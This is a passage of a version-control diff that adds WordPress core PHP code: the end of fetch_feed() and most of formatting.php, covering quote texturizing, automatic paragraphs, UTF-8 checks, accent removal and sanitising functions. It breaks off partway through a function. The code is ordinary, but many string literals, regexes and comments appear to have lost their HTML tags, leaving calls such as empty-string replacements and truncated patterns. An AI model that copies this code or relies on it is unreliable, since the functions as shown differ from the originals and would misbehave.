WP_Error|SimplePie WP_Error object on failure or SimplePie object on success + */ +function fetch_feed($url) { + require_once (ABSPATH . WPINC . '/class-feed.php'); + + $feed = new SimplePie(); + $feed->set_feed_url($url); + $feed->set_cache_class('WP_Feed_Cache'); + $feed->set_file_class('WP_SimplePie_File'); + $feed->set_cache_duration(apply_filters('wp_feed_cache_transient_lifetime', 43200)); + $feed->init(); + $feed->handle_content_type(); + + if ( $feed->error() ) + return new WP_Error('simplepie-error', $feed->error()); + + return $feed; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/formatting.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/formatting.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,2849 @@ + + * 'cause today's effort makes it worth tomorrow's "holiday"... + * + * Becomes: + * + * ’cause today’s effort makes it worth tomorrow’s “holiday”… + * + * Code within certain html blocks are skipped. + * + * @since 0.71 + * @uses $wp_cockneyreplace Array of formatted entities for certain common phrases + * + * @param string $text The text to be formatted + * @return string The string replaced with html entities + */ +function wptexturize($text) { + global $wp_cockneyreplace; + static $static_setup = false, $opening_quote, $closing_quote, $default_no_texturize_tags, $default_no_texturize_shortcodes, $static_characters, $static_replacements, $dynamic_characters, $dynamic_replacements; + $output = ''; + $curl = ''; + $textarr = preg_split('/(<.*>|\[.*\])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE); + $stop = count($textarr); + + // No need to setup these variables more than once + if (!$static_setup) { + /* translators: opening curly quote */ + $opening_quote = _x('“', 'opening curly quote'); + /* translators: closing curly quote */ + $closing_quote = _x('”', 'closing curly quote'); + + $default_no_texturize_tags = array('pre', 'code', 'kbd', 'style', 'script', 'tt'); + $default_no_texturize_shortcodes = array('code'); + + // if a plugin has provided an autocorrect array, use it + if ( isset($wp_cockneyreplace) ) { + $cockney = array_keys($wp_cockneyreplace); + $cockneyreplace = array_values($wp_cockneyreplace); + } else { + $cockney = array("'tain't","'twere","'twas","'tis","'twill","'til","'bout","'nuff","'round","'cause"); + $cockneyreplace = array("’tain’t","’twere","’twas","’tis","’twill","’til","’bout","’nuff","’round","’cause"); + } + + $static_characters = array_merge(array('---', ' -- ', '--', ' - ', 'xn–', '...', '``', '\'s', '\'\'', ' (tm)'), $cockney); + $static_replacements = array_merge(array('—', ' — ', '–', ' – ', 'xn--', '…', $opening_quote, '’s', $closing_quote, ' ™'), $cockneyreplace); + + $dynamic_characters = array('/\'(\d\d(?:’|\')?s)/', '/(\s|\A|[([{<]|")\'/', '/(\d+)"/', '/(\d+)\'/', '/(\S)\'([^\'\s])/', '/(\s|\A|[([{<])"(?!\s)/', '/"(\s|\S|\Z)/', '/\'([\s.]|\Z)/', '/(\d+)x(\d+)/'); + $dynamic_replacements = array('’$1','$1‘', '$1″', '$1′', '$1’$2', '$1' . $opening_quote . '$2', $closing_quote . '$1', '’$1', '$1×$2'); + + $static_setup = true; + } + + // Transform into regexp sub-expression used in _wptexturize_pushpop_element + // Must do this everytime in case plugins use these filters in a context sensitive manner + $no_texturize_tags = '(' . implode('|', apply_filters('no_texturize_tags', $default_no_texturize_tags) ) . ')'; + $no_texturize_shortcodes = '(' . implode('|', apply_filters('no_texturize_shortcodes', $default_no_texturize_shortcodes) ) . ')'; + + $no_texturize_tags_stack = array(); + $no_texturize_shortcodes_stack = array(); + + for ( $i = 0; $i < $stop; $i++ ) { + $curl = $textarr[$i]; + + if ( !empty($curl) && '<' != $curl{0} && '[' != $curl{0} + && empty($no_texturize_shortcodes_stack) && empty($no_texturize_tags_stack)) { + // This is not a tag, nor is the texturization disabled + // static strings + $curl = str_replace($static_characters, $static_replacements, $curl); + // regular expressions + $curl = preg_replace($dynamic_characters, $dynamic_replacements, $curl); + } elseif (!empty($curl)) { + /* + * Only call _wptexturize_pushpop_element if first char is correct + * tag opening + */ + if ('<' == $curl{0}) + _wptexturize_pushpop_element($curl, $no_texturize_tags_stack, $no_texturize_tags, '<', '>'); + elseif ('[' == $curl{0}) + _wptexturize_pushpop_element($curl, $no_texturize_shortcodes_stack, $no_texturize_shortcodes, '[', ']'); + } + + $curl = preg_replace('/&([^#])(?![a-zA-Z1-4]{1,8};)/', '&$1', $curl); + $output .= $curl; + } + + return $output; +} + +/** + * Search for disabled element tags. Push element to stack on tag open and pop + * on tag close. Assumes first character of $text is tag opening. + * + * @access private + * @since 2.9.0 + * + * @param string $text Text to check. First character is assumed to be $opening + * @param array $stack Array used as stack of opened tag elements + * @param string $disabled_elements Tags to match against formatted as regexp sub-expression + * @param string $opening Tag opening character, assumed to be 1 character long + * @param string $opening Tag closing character + * @return object + */ +function _wptexturize_pushpop_element($text, &$stack, $disabled_elements, $opening = '<', $closing = '>') { + // Check if it is a closing tag -- otherwise assume opening tag + if (strncmp($opening . '/', $text, 2)) { + // Opening? Check $text+1 against disabled elements + if (preg_match('/^' . $disabled_elements . '\b/', substr($text, 1), $matches)) { + /* + * This disables texturize until we find a closing tag of our type + * (e.g.
    ) even if there was invalid nesting before that
    +			 * 
    +			 * Example: in the case 
    sadsadasd"baba"
    + * "baba" won't be texturize + */ + + array_push($stack, $matches[1]); + } + } else { + // Closing? Check $text+2 against disabled elements + $c = preg_quote($closing, '/'); + if (preg_match('/^' . $disabled_elements . $c . '/', substr($text, 2), $matches)) { + $last = array_pop($stack); + + // Make sure it matches the opening tag + if ($last != $matches[1]) + array_push($stack, $last); + } + } +} + +/** + * Accepts matches array from preg_replace_callback in wpautop() or a string. + * + * Ensures that the contents of a <
    >...<
    > HTML block are not + * converted into paragraphs or line-breaks. + * + * @since 1.2.0 + * + * @param array|string $matches The array or string + * @return string The pre block without paragraph/line-break conversion. + */ +function clean_pre($matches) { + if ( is_array($matches) ) + $text = $matches[1] . $matches[2] . "
    "; + else + $text = $matches; + + $text = str_replace('
    ', '', $text); + $text = str_replace('

    ', "\n", $text); + $text = str_replace('

    ', '', $text); + + return $text; +} + +/** + * Replaces double line-breaks with paragraph elements. + * + * A group of regex replaces used to identify text formatted with newlines and + * replace double line-breaks with HTML paragraph tags. The remaining + * line-breaks after conversion become <
    > tags, unless $br is set to '0' + * or 'false'. + * + * @since 0.71 + * + * @param string $pee The text which has to be formatted. + * @param int|bool $br Optional. If set, this will convert all remaining line-breaks after paragraphing. Default true. + * @return string Text which has been converted into correct paragraph tags. + */ +function wpautop($pee, $br = 1) { + + if ( trim($pee) === '' ) + return ''; + $pee = $pee . "\n"; // just to make things a little easier, pad the end + $pee = preg_replace('|
    \s*
    |', "\n\n", $pee); + // Space things out a little + $allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|select|form|map|area|blockquote|address|math|style|input|p|h[1-6]|hr|fieldset|legend)'; + $pee = preg_replace('!(<' . $allblocks . '[^>]*>)!', "\n$1", $pee); + $pee = preg_replace('!()!', "$1\n\n", $pee); + $pee = str_replace(array("\r\n", "\r"), "\n", $pee); // cross-platform newlines + if ( strpos($pee, ']*)>\s*|', "", $pee); // no pee inside object/embed + $pee = preg_replace('|\s*\s*|', '', $pee); + } + $pee = preg_replace("/\n\n+/", "\n\n", $pee); // take care of duplicates + // make paragraphs, including one at the end + $pees = preg_split('/\n\s*\n/', $pee, -1, PREG_SPLIT_NO_EMPTY); + $pee = ''; + foreach ( $pees as $tinkle ) + $pee .= '

    ' . trim($tinkle, "\n") . "

    \n"; + $pee = preg_replace('|

    \s*

    |', '', $pee); // under certain strange conditions it could create a P of entirely whitespace + $pee = preg_replace('!

    ([^<]+)!', "

    $1

    ", $pee); + $pee = preg_replace('!

    \s*(]*>)\s*

    !', "$1", $pee); // don't pee all over a tag + $pee = preg_replace("|

    (|", "$1", $pee); // problem with nested lists + $pee = preg_replace('|

    ]*)>|i', "

    ", $pee); + $pee = str_replace('

    ', '

    ', $pee); + $pee = preg_replace('!

    \s*(]*>)!', "$1", $pee); + $pee = preg_replace('!(]*>)\s*

    !', "$1", $pee); + if ($br) { + $pee = preg_replace_callback('/<(script|style).*?<\/\\1>/s', create_function('$matches', 'return str_replace("\n", "", $matches[0]);'), $pee); + $pee = preg_replace('|(?)\s*\n|', "
    \n", $pee); // optionally make line breaks + $pee = str_replace('', "\n", $pee); + } + $pee = preg_replace('!(]*>)\s*
    !', "$1", $pee); + $pee = preg_replace('!
    (\s*]*>)!', '$1', $pee); + if (strpos($pee, ']*>)(.*?)!is', 'clean_pre', $pee ); + $pee = preg_replace( "|\n

    $|", '

    ', $pee ); + + return $pee; +} + +/** + * Don't auto-p wrap shortcodes that stand alone + * + * Ensures that shortcodes are not wrapped in <

    >...<

    >. + * + * @since 2.9.0 + * + * @param string $pee The content. + * @return string The filtered content. + */ +function shortcode_unautop($pee) { + global $shortcode_tags; + + if ( !empty($shortcode_tags) && is_array($shortcode_tags) ) { + $tagnames = array_keys($shortcode_tags); + $tagregexp = join( '|', array_map('preg_quote', $tagnames) ); + $pee = preg_replace('/

    \\s*?(\\[(' . $tagregexp . ')\\b.*?\\/?\\](?:.+?\\[\\/\\2\\])?)\\s*<\\/p>/s', '$1', $pee); + } + + return $pee; +} + +/** + * Checks to see if a string is utf8 encoded. + * + * NOTE: This function checks for 5-Byte sequences, UTF8 + * has Bytes Sequences with a maximum length of 4. + * + * @author bmorel at ssi dot fr (modified) + * @since 1.2.1 + * + * @param string $str The string to be checked + * @return bool True if $str fits a UTF-8 model, false otherwise. + */ +function seems_utf8($str) { + $length = strlen($str); + for ($i=0; $i < $length; $i++) { + $c = ord($str[$i]); + if ($c < 0x80) $n = 0; # 0bbbbbbb + elseif (($c & 0xE0) == 0xC0) $n=1; # 110bbbbb + elseif (($c & 0xF0) == 0xE0) $n=2; # 1110bbbb + elseif (($c & 0xF8) == 0xF0) $n=3; # 11110bbb + elseif (($c & 0xFC) == 0xF8) $n=4; # 111110bb + elseif (($c & 0xFE) == 0xFC) $n=5; # 1111110b + else return false; # Does not match any model + for ($j=0; $j<$n; $j++) { # n bytes matching 10bbbbbb follow ? + if ((++$i == $length) || ((ord($str[$i]) & 0xC0) != 0x80)) + return false; + } + } + return true; +} + +/** + * Converts a number of special characters into their HTML entities. + * + * Specifically deals with: &, <, >, ", and '. + * + * $quote_style can be set to ENT_COMPAT to encode " to + * ", or ENT_QUOTES to do both. Default is ENT_NOQUOTES where no quotes are encoded. + * + * @since 1.2.2 + * + * @param string $string The text which is to be encoded. + * @param mixed $quote_style Optional. Converts double quotes if set to ENT_COMPAT, both single and double if set to ENT_QUOTES or none if set to ENT_NOQUOTES. Also compatible with old values; converting single quotes if set to 'single', double if set to 'double' or both if otherwise set. Default is ENT_NOQUOTES. + * @param string $charset Optional. The character encoding of the string. Default is false. + * @param boolean $double_encode Optional. Whether or not to encode existing html entities. Default is false. + * @return string The encoded text with HTML entities. + */ +function _wp_specialchars( $string, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) { + $string = (string) $string; + + if ( 0 === strlen( $string ) ) { + return ''; + } + + // Don't bother if there are no specialchars - saves some processing + if ( !preg_match( '/[&<>"\']/', $string ) ) { + return $string; + } + + // Account for the previous behaviour of the function when the $quote_style is not an accepted value + if ( empty( $quote_style ) ) { + $quote_style = ENT_NOQUOTES; + } elseif ( !in_array( $quote_style, array( 0, 2, 3, 'single', 'double' ), true ) ) { + $quote_style = ENT_QUOTES; + } + + // Store the site charset as a static to avoid multiple calls to wp_load_alloptions() + if ( !$charset ) { + static $_charset; + if ( !isset( $_charset ) ) { + $alloptions = wp_load_alloptions(); + $_charset = isset( $alloptions['blog_charset'] ) ? $alloptions['blog_charset'] : ''; + } + $charset = $_charset; + } + if ( in_array( $charset, array( 'utf8', 'utf-8', 'UTF8' ) ) ) { + $charset = 'UTF-8'; + } + + $_quote_style = $quote_style; + + if ( $quote_style === 'double' ) { + $quote_style = ENT_COMPAT; + $_quote_style = ENT_COMPAT; + } elseif ( $quote_style === 'single' ) { + $quote_style = ENT_NOQUOTES; + } + + // Handle double encoding ourselves + if ( !$double_encode ) { + $string = wp_specialchars_decode( $string, $_quote_style ); + $string = preg_replace( '/&(#?x?[0-9a-z]+);/i', '|wp_entity|$1|/wp_entity|', $string ); + } + + $string = @htmlspecialchars( $string, $quote_style, $charset ); + + // Handle double encoding ourselves + if ( !$double_encode ) { + $string = str_replace( array( '|wp_entity|', '|/wp_entity|' ), array( '&', ';' ), $string ); + } + + // Backwards compatibility + if ( 'single' === $_quote_style ) { + $string = str_replace( "'", ''', $string ); + } + + return $string; +} + +/** + * Converts a number of HTML entities into their special characters. + * + * Specifically deals with: &, <, >, ", and '. + * + * $quote_style can be set to ENT_COMPAT to decode " entities, + * or ENT_QUOTES to do both " and '. Default is ENT_NOQUOTES where no quotes are decoded. + * + * @since 2.8 + * + * @param string $string The text which is to be decoded. + * @param mixed $quote_style Optional. Converts double quotes if set to ENT_COMPAT, both single and double if set to ENT_QUOTES or none if set to ENT_NOQUOTES. Also compatible with old _wp_specialchars() values; converting single quotes if set to 'single', double if set to 'double' or both if otherwise set. Default is ENT_NOQUOTES. + * @return string The decoded text without HTML entities. + */ +function wp_specialchars_decode( $string, $quote_style = ENT_NOQUOTES ) { + $string = (string) $string; + + if ( 0 === strlen( $string ) ) { + return ''; + } + + // Don't bother if there are no entities - saves a lot of processing + if ( strpos( $string, '&' ) === false ) { + return $string; + } + + // Match the previous behaviour of _wp_specialchars() when the $quote_style is not an accepted value + if ( empty( $quote_style ) ) { + $quote_style = ENT_NOQUOTES; + } elseif ( !in_array( $quote_style, array( 0, 2, 3, 'single', 'double' ), true ) ) { + $quote_style = ENT_QUOTES; + } + + // More complete than get_html_translation_table( HTML_SPECIALCHARS ) + $single = array( ''' => '\'', ''' => '\'' ); + $single_preg = array( '/�*39;/' => ''', '/�*27;/i' => ''' ); + $double = array( '"' => '"', '"' => '"', '"' => '"' ); + $double_preg = array( '/�*34;/' => '"', '/�*22;/i' => '"' ); + $others = array( '<' => '<', '<' => '<', '>' => '>', '>' => '>', '&' => '&', '&' => '&', '&' => '&' ); + $others_preg = array( '/�*60;/' => '<', '/�*62;/' => '>', '/�*38;/' => '&', '/�*26;/i' => '&' ); + + if ( $quote_style === ENT_QUOTES ) { + $translation = array_merge( $single, $double, $others ); + $translation_preg = array_merge( $single_preg, $double_preg, $others_preg ); + } elseif ( $quote_style === ENT_COMPAT || $quote_style === 'double' ) { + $translation = array_merge( $double, $others ); + $translation_preg = array_merge( $double_preg, $others_preg ); + } elseif ( $quote_style === 'single' ) { + $translation = array_merge( $single, $others ); + $translation_preg = array_merge( $single_preg, $others_preg ); + } elseif ( $quote_style === ENT_NOQUOTES ) { + $translation = $others; + $translation_preg = $others_preg; + } + + // Remove zero padding on numeric entities + $string = preg_replace( array_keys( $translation_preg ), array_values( $translation_preg ), $string ); + + // Replace characters according to translation table + return strtr( $string, $translation ); +} + +/** + * Checks for invalid UTF8 in a string. + * + * @since 2.8 + * + * @param string $string The text which is to be checked. + * @param boolean $strip Optional. Whether to attempt to strip out invalid UTF8. Default is false. + * @return string The checked text. + */ +function wp_check_invalid_utf8( $string, $strip = false ) { + $string = (string) $string; + + if ( 0 === strlen( $string ) ) { + return ''; + } + + // Store the site charset as a static to avoid multiple calls to get_option() + static $is_utf8; + if ( !isset( $is_utf8 ) ) { + $is_utf8 = in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ); + } + if ( !$is_utf8 ) { + return $string; + } + + // Check for support for utf8 in the installed PCRE library once and store the result in a static + static $utf8_pcre; + if ( !isset( $utf8_pcre ) ) { + $utf8_pcre = @preg_match( '/^./u', 'a' ); + } + // We can't demand utf8 in the PCRE installation, so just return the string in those cases + if ( !$utf8_pcre ) { + return $string; + } + + // preg_match fails when it encounters invalid UTF8 in $string + if ( 1 === @preg_match( '/^./us', $string ) ) { + return $string; + } + + // Attempt to strip the bad chars if requested (not recommended) + if ( $strip && function_exists( 'iconv' ) ) { + return iconv( 'utf-8', 'utf-8', $string ); + } + + return ''; +} + +/** + * Encode the Unicode values to be used in the URI. + * + * @since 1.5.0 + * + * @param string $utf8_string + * @param int $length Max length of the string + * @return string String with Unicode encoded for URI. + */ +function utf8_uri_encode( $utf8_string, $length = 0 ) { + $unicode = ''; + $values = array(); + $num_octets = 1; + $unicode_length = 0; + + $string_length = strlen( $utf8_string ); + for ($i = 0; $i < $string_length; $i++ ) { + + $value = ord( $utf8_string[ $i ] ); + + if ( $value < 128 ) { + if ( $length && ( $unicode_length >= $length ) ) + break; + $unicode .= chr($value); + $unicode_length++; + } else { + if ( count( $values ) == 0 ) $num_octets = ( $value < 224 ) ? 2 : 3; + + $values[] = $value; + + if ( $length && ( $unicode_length + ($num_octets * 3) ) > $length ) + break; + if ( count( $values ) == $num_octets ) { + if ($num_octets == 3) { + $unicode .= '%' . dechex($values[0]) . '%' . dechex($values[1]) . '%' . dechex($values[2]); + $unicode_length += 9; + } else { + $unicode .= '%' . dechex($values[0]) . '%' . dechex($values[1]); + $unicode_length += 6; + } + + $values = array(); + $num_octets = 1; + } + } + } + + return $unicode; +} + +/** + * Converts all accent characters to ASCII characters. + * + * If there are no accent characters, then the string given is just returned. + * + * @since 1.2.1 + * + * @param string $string Text that might have accent characters + * @return string Filtered string with replaced "nice" characters. + */ +function remove_accents($string) { + if ( !preg_match('/[\x80-\xff]/', $string) ) + return $string; + + if (seems_utf8($string)) { + $chars = array( + // Decompositions for Latin-1 Supplement + chr(195).chr(128) => 'A', chr(195).chr(129) => 'A', + chr(195).chr(130) => 'A', chr(195).chr(131) => 'A', + chr(195).chr(132) => 'A', chr(195).chr(133) => 'A', + chr(195).chr(135) => 'C', chr(195).chr(136) => 'E', + chr(195).chr(137) => 'E', chr(195).chr(138) => 'E', + chr(195).chr(139) => 'E', chr(195).chr(140) => 'I', + chr(195).chr(141) => 'I', chr(195).chr(142) => 'I', + chr(195).chr(143) => 'I', chr(195).chr(145) => 'N', + chr(195).chr(146) => 'O', chr(195).chr(147) => 'O', + chr(195).chr(148) => 'O', chr(195).chr(149) => 'O', + chr(195).chr(150) => 'O', chr(195).chr(153) => 'U', + chr(195).chr(154) => 'U', chr(195).chr(155) => 'U', + chr(195).chr(156) => 'U', chr(195).chr(157) => 'Y', + chr(195).chr(159) => 's', chr(195).chr(160) => 'a', + chr(195).chr(161) => 'a', chr(195).chr(162) => 'a', + chr(195).chr(163) => 'a', chr(195).chr(164) => 'a', + chr(195).chr(165) => 'a', chr(195).chr(167) => 'c', + chr(195).chr(168) => 'e', chr(195).chr(169) => 'e', + chr(195).chr(170) => 'e', chr(195).chr(171) => 'e', + chr(195).chr(172) => 'i', chr(195).chr(173) => 'i', + chr(195).chr(174) => 'i', chr(195).chr(175) => 'i', + chr(195).chr(177) => 'n', chr(195).chr(178) => 'o', + chr(195).chr(179) => 'o', chr(195).chr(180) => 'o', + chr(195).chr(181) => 'o', chr(195).chr(182) => 'o', + chr(195).chr(182) => 'o', chr(195).chr(185) => 'u', + chr(195).chr(186) => 'u', chr(195).chr(187) => 'u', + chr(195).chr(188) => 'u', chr(195).chr(189) => 'y', + chr(195).chr(191) => 'y', + // Decompositions for Latin Extended-A + chr(196).chr(128) => 'A', chr(196).chr(129) => 'a', + chr(196).chr(130) => 'A', chr(196).chr(131) => 'a', + chr(196).chr(132) => 'A', chr(196).chr(133) => 'a', + chr(196).chr(134) => 'C', chr(196).chr(135) => 'c', + chr(196).chr(136) => 'C', chr(196).chr(137) => 'c', + chr(196).chr(138) => 'C', chr(196).chr(139) => 'c', + chr(196).chr(140) => 'C', chr(196).chr(141) => 'c', + chr(196).chr(142) => 'D', chr(196).chr(143) => 'd', + chr(196).chr(144) => 'D', chr(196).chr(145) => 'd', + chr(196).chr(146) => 'E', chr(196).chr(147) => 'e', + chr(196).chr(148) => 'E', chr(196).chr(149) => 'e', + chr(196).chr(150) => 'E', chr(196).chr(151) => 'e', + chr(196).chr(152) => 'E', chr(196).chr(153) => 'e', + chr(196).chr(154) => 'E', chr(196).chr(155) => 'e', + chr(196).chr(156) => 'G', chr(196).chr(157) => 'g', + chr(196).chr(158) => 'G', chr(196).chr(159) => 'g', + chr(196).chr(160) => 'G', chr(196).chr(161) => 'g', + chr(196).chr(162) => 'G', chr(196).chr(163) => 'g', + chr(196).chr(164) => 'H', chr(196).chr(165) => 'h', + chr(196).chr(166) => 'H', chr(196).chr(167) => 'h', + chr(196).chr(168) => 'I', chr(196).chr(169) => 'i', + chr(196).chr(170) => 'I', chr(196).chr(171) => 'i', + chr(196).chr(172) => 'I', chr(196).chr(173) => 'i', + chr(196).chr(174) => 'I', chr(196).chr(175) => 'i', + chr(196).chr(176) => 'I', chr(196).chr(177) => 'i', + chr(196).chr(178) => 'IJ',chr(196).chr(179) => 'ij', + chr(196).chr(180) => 'J', chr(196).chr(181) => 'j', + chr(196).chr(182) => 'K', chr(196).chr(183) => 'k', + chr(196).chr(184) => 'k', chr(196).chr(185) => 'L', + chr(196).chr(186) => 'l', chr(196).chr(187) => 'L', + chr(196).chr(188) => 'l', chr(196).chr(189) => 'L', + chr(196).chr(190) => 'l', chr(196).chr(191) => 'L', + chr(197).chr(128) => 'l', chr(197).chr(129) => 'L', + chr(197).chr(130) => 'l', chr(197).chr(131) => 'N', + chr(197).chr(132) => 'n', chr(197).chr(133) => 'N', + chr(197).chr(134) => 'n', chr(197).chr(135) => 'N', + chr(197).chr(136) => 'n', chr(197).chr(137) => 'N', + chr(197).chr(138) => 'n', chr(197).chr(139) => 'N', + chr(197).chr(140) => 'O', chr(197).chr(141) => 'o', + chr(197).chr(142) => 'O', chr(197).chr(143) => 'o', + chr(197).chr(144) => 'O', chr(197).chr(145) => 'o', + chr(197).chr(146) => 'OE',chr(197).chr(147) => 'oe', + chr(197).chr(148) => 'R',chr(197).chr(149) => 'r', + chr(197).chr(150) => 'R',chr(197).chr(151) => 'r', + chr(197).chr(152) => 'R',chr(197).chr(153) => 'r', + chr(197).chr(154) => 'S',chr(197).chr(155) => 's', + chr(197).chr(156) => 'S',chr(197).chr(157) => 's', + chr(197).chr(158) => 'S',chr(197).chr(159) => 's', + chr(197).chr(160) => 'S', chr(197).chr(161) => 's', + chr(197).chr(162) => 'T', chr(197).chr(163) => 't', + chr(197).chr(164) => 'T', chr(197).chr(165) => 't', + chr(197).chr(166) => 'T', chr(197).chr(167) => 't', + chr(197).chr(168) => 'U', chr(197).chr(169) => 'u', + chr(197).chr(170) => 'U', chr(197).chr(171) => 'u', + chr(197).chr(172) => 'U', chr(197).chr(173) => 'u', + chr(197).chr(174) => 'U', chr(197).chr(175) => 'u', + chr(197).chr(176) => 'U', chr(197).chr(177) => 'u', + chr(197).chr(178) => 'U', chr(197).chr(179) => 'u', + chr(197).chr(180) => 'W', chr(197).chr(181) => 'w', + chr(197).chr(182) => 'Y', chr(197).chr(183) => 'y', + chr(197).chr(184) => 'Y', chr(197).chr(185) => 'Z', + chr(197).chr(186) => 'z', chr(197).chr(187) => 'Z', + chr(197).chr(188) => 'z', chr(197).chr(189) => 'Z', + chr(197).chr(190) => 'z', chr(197).chr(191) => 's', + // Euro Sign + chr(226).chr(130).chr(172) => 'E', + // GBP (Pound) Sign + chr(194).chr(163) => ''); + + $string = strtr($string, $chars); + } else { + // Assume ISO-8859-1 if not UTF-8 + $chars['in'] = chr(128).chr(131).chr(138).chr(142).chr(154).chr(158) + .chr(159).chr(162).chr(165).chr(181).chr(192).chr(193).chr(194) + .chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202) + .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210) + .chr(211).chr(212).chr(213).chr(214).chr(216).chr(217).chr(218) + .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227) + .chr(228).chr(229).chr(231).chr(232).chr(233).chr(234).chr(235) + .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243) + .chr(244).chr(245).chr(246).chr(248).chr(249).chr(250).chr(251) + .chr(252).chr(253).chr(255); + + $chars['out'] = "EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy"; + + $string = strtr($string, $chars['in'], $chars['out']); + $double_chars['in'] = array(chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254)); + $double_chars['out'] = array('OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th'); + $string = str_replace($double_chars['in'], $double_chars['out'], $string); + } + + return $string; +} + +/** + * Sanitizes a filename replacing whitespace with dashes + * + * Removes special characters that are illegal in filenames on certain + * operating systems and special characters requiring special escaping + * to manipulate at the command line. Replaces spaces and consecutive + * dashes with a single dash. Trim period, dash and underscore from beginning + * and end of filename. + * + * @since 2.1.0 + * + * @param string $filename The filename to be sanitized + * @return string The sanitized filename + */ +function sanitize_file_name( $filename ) { + $filename_raw = $filename; + $special_chars = array("?", "[", "]", "/", "\\", "=", "<", ">", ":", ";", ",", "'", "\"", "&", "$", "#", "*", "(", ")", "|", "~", "`", "!", "{", "}", chr(0)); + $special_chars = apply_filters('sanitize_file_name_chars', $special_chars, $filename_raw); + $filename = str_replace($special_chars, '', $filename); + $filename = preg_replace('/[\s-]+/', '-', $filename); + $filename = trim($filename, '.-_'); + + // Split the filename into a base and extension[s] + $parts = explode('.', $filename); + + // Return if only one extension + if ( count($parts) <= 2 ) + return apply_filters('sanitize_file_name', $filename, $filename_raw); + + // Process multiple extensions + $filename = array_shift($parts); + $extension = array_pop($parts); + $mimes = get_allowed_mime_types(); + + // Loop over any intermediate extensions. Munge them with a trailing underscore if they are a 2 - 5 character + // long alpha string not in the extension whitelist. + foreach ( (array) $parts as $part) { + $filename .= '.' . $part; + + if ( preg_match("/^[a-zA-Z]{2,5}\d?$/", $part) ) { + $allowed = false; + foreach ( $mimes as $ext_preg => $mime_match ) { + $ext_preg = '!(^' . $ext_preg . ')$!i'; + if ( preg_match( $ext_preg, $part ) ) { + $allowed = true; + break; + } + } + if ( !$allowed ) + $filename .= '_'; + } + } + $filename .= '.' . $extension; + + return apply_filters('sanitize_file_name', $filename, $filename_raw); +} + +/** + * Sanitize username stripping out unsafe characters. + * + * If $strict is true, only alphanumeric characters (as well as _, space, ., -, + * @) are returned. + * Removes tags, octets, entities, and if strict is enabled, will remove all + * non-ASCII characters. After sanitizing, it passes the username, raw username + * (the username in the parameter), and the strict parameter as parameters for + * the filter. + * + * @since 2.0.0 + * @uses apply_filters() Calls 'sanitize_user' hook on username, raw username, + * and $strict parameter. + * + * @param string $username The username to be sanitized. + * @param bool $strict If set limits $username to specific characters. Default false. + * @return string The sanitized username, after passing through filters. + */ +function sanitize_user( $username, $strict = false ) { + $raw_username = $username; + $username = wp_strip_all_tags($username); + // Kill octets + $username = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '', $username); + $username = preg_replace('/&.+?;/', '', $username); // Kill entities + + // If strict, reduce to ASCII for max portability. + if ( $strict ) + $username = preg_replace('|[^a-z0-9 _.\-@]|i', '', $username); + + // Consolidate contiguous whitespace + $username = preg_replace('|\s+|', ' ', $username); + + return apply_filters('sanitize_user', $username, $raw_username, $strict); +} + +/** + * Sanitizes title or use fallback title. + * + * Specifically, HTML and PHP tags are stripped. Further actions can be added + * via the plugin API. If $title is empty and $fallback_title is set, the latter + * will be used. + * + * @since 1.0.0 + * + * @param string $title The string to be sanitized. + * @param string $fallback_title Optional. A title to use if $title is empty. + * @return string The sanitized string. + */ +function sanitize_title($title, $fallback_title = '') { + $raw_title = $title; + $title = strip_tags($title); + $title = apply_filters('sanitize_title', $title, $raw_title); + + if ( '' === $title || false === $title ) + $title = $fallback_title; + + return $title; +} + +/** + * Sanitizes title, replacing whitespace with dashes. + * + * Limits the output to alphanumeric characters, underscore (_) and dash (-). + * Whitespace becomes a dash. + * + * @since 1.2.0 + * + * @param string $title The title to be sanitized. + * @return string The sanitized title. + */ +function sanitize_title_with_dashes($title) { + $title = strip_tags($title); + // Preserve escaped octets. + $title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title); + // Remove percent signs that are not part of an octet. + $title = str_replace('%', '', $title); + // Restore octets. + $title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title); + + $title = remove_accents($title); + if (seems_utf8($title)) { + if (function_exists('mb_strtolower')) { + $title = mb_strtolower($title, 'UTF-8'); + } + $title = utf8_uri_encode($title, 200); + } + + $title = strtolower($title); + $title = preg_replace('/&.+?;/', '', $title); // kill entities + $title = str_replace('.', '-', $title); + $title = preg_replace('/[^%a-z0-9 _-]/', '', $title); + $title = preg_replace('/\s+/', '-', $title); + $title = preg_replace('|-+|', '-', $title); + $title = trim($title, '-'); + + return $title; +} + +/** + * Ensures a string is a valid SQL order by clause. + * + * Accepts one or more columns, with or without ASC/DESC, and also accepts + * RAND(). + * + * @since 2.5.1 + * + * @param string $orderby Order by string to be checked. + * @return string|false Returns the order by clause if it is a match, false otherwise. + */ +function sanitize_sql_orderby( $orderby ){ + preg_match('/^\s*([a-z0-9_]+(\s+(ASC|DESC))?(\s*,\s*|\s*$))+|^\s*RAND\(\s*\)\s*$/i', $orderby, $obmatches); + if ( !$obmatches ) + return false; + return $orderby; +} + +/** + * Santizes a html classname to ensure it only contains valid characters + * + * Strips the string down to A-Z,a-z,0-9,'-' if this results in an empty + * string then it will return the alternative value supplied. + * + * @todo Expand to support the full range of CDATA that a class attribute can contain. + * + * @since 2.8.0 + * + * @param string $class The classname to be sanitized + * @param string $fallback The value to return if the sanitization end's up as an empty string. + * @return string The sanitized value + */ +function sanitize_html_class($class, $fallback){ + //Strip out any % encoded octets + $sanitized = 